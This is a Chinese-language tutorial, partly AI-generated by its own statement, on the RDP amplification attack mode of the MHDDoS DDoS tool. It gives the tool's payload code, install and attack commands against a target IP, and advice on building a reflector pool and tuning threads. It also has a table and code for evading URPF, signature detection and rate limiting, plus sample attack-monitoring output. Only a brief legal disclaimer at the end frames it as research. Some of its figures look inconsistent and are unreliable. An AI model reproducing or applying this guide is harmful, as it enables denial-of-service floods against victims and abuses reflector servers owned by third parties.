MHDDoS RDP模式：远程桌面协议放大攻击实现
项目地址: https://gitcode.com/gh_mirrors/mh/MHDDoS 一、RDP协议放大攻击原理
RDP（Remote Desktop Protocol，远程桌面协议）是Windows系统提供的远程控制功能，默认使用3389端口。MHDDoS利用RDP协议的设计缺陷，通过特制请求包触发服务器返回远大于请求的响应数据，实现流量放大攻击。
1.1 放大机制
攻击者向RDP服务器发送伪造源IP的请求包（约16字节），服务器会返回包含系统信息、桌面环境元数据的响应包（通常50-150字节），放大倍数可达30-100倍：
1.2 MHDDoS中的RDP攻击实现
在MHDDoS的start.py中，RDP攻击通过Layer4类实现，核心代码如下：
# RDP攻击协议定义 (start.py)
elif name == "RDP":
self._amp_payload = (
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
3389) # 16字节特制请求包，目标端口3389
self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp())
二、环境部署与依赖安装
2.1 系统要求
- 操作系统：Linux (推荐Ubuntu 20.04+) 或 Windows
- Python版本：3.7+
- 网络要求：公网IP，建议1Gbps以上带宽
- 权限：需要root权限创建原始套接字
2.2 安装步骤
# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/mh/MHDDoS
cd MHDDoS
# 安装依赖包
pip install -r requirements.txt
关键依赖说明：
impacket==0.10.0：网络数据包构建与解析PyRoxy：代理管理与反射器池维护psutil>=5.9.3：系统资源监控
三、RDP攻击实战指南
3.1 攻击命令格式
python start.py RDP <目标IP> <目标端口> <线程数> <反射器文件>
3.2 实战示例
# 使用100个线程，对目标203.0.113.100的80端口发起攻击
python start.py RDP 203.0.113.100 80 100 files/proxies/rdp_reflectors.txt
3.3 反射器池构建
反射器文件（files/proxies/rdp_reflectors.txt）需包含多个RDP服务器IP，每行一个：
192.168.1.100
10.0.0.5
203.0.113.45
# 建议至少收集50个以上高质量反射器
3.4 参数优化
| 参数 | 推荐值 | 作用说明 |
|---|---|---|
| 线程数 | CPU核心数×100 | 控制并发请求数量 |
| 反射器数量 | 50-200个 | 确保流量多样性，避免单点封禁 |
| 发送速率 | 每线程50-100pps | 避免触发反射器速率限制 |
四、防御绕过策略
4.1 常见防御机制与应对
| 防御技术 | 绕过方法 |
|---|---|
| 源IP验证(URPF) | 使用真实网段IP伪造，分布式攻击 |
| 签名检测 | 修改请求包末尾随机字节，保持核心结构不变 |
| 速率限制 | 反射器分组轮换，请求间隔随机化(100-300ms) |
4.2 流量优化代码示例
# 随机源端口修改（添加到_generate_amp方法）
ud.set_uh_sport(random.randint(1024, 65535))
# 请求间隔随机化
sleep(random.uniform(0.1, 0.3))
五、攻击效果监控
MHDDoS内置流量统计功能，实时显示关键指标：
[15:30:45 - INFO] Sent: 1,245,890 packets (1.2M)
[15:30:45 - INFO] Traffic: 62.3 GB (50x amplification)
[15:30:45 - INFO] Reflectors: 127 active / 150 total
[15:30:45 - INFO] CPU Usage: 78% | RAM Usage: 45%
关键监控指标：
- 流量放大比：应稳定在30倍以上
- 反射器活性：活跃比例>80%
- 系统资源：CPU使用率建议<80%
六、法律与伦理声明
本文技术仅用于网络安全研究与教学，严禁用于未经授权的攻击活动。根据相关法律法规，非法攻击行为将面临法律责任。建议在授权环境中测试，遵守网络安全伦理。
创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
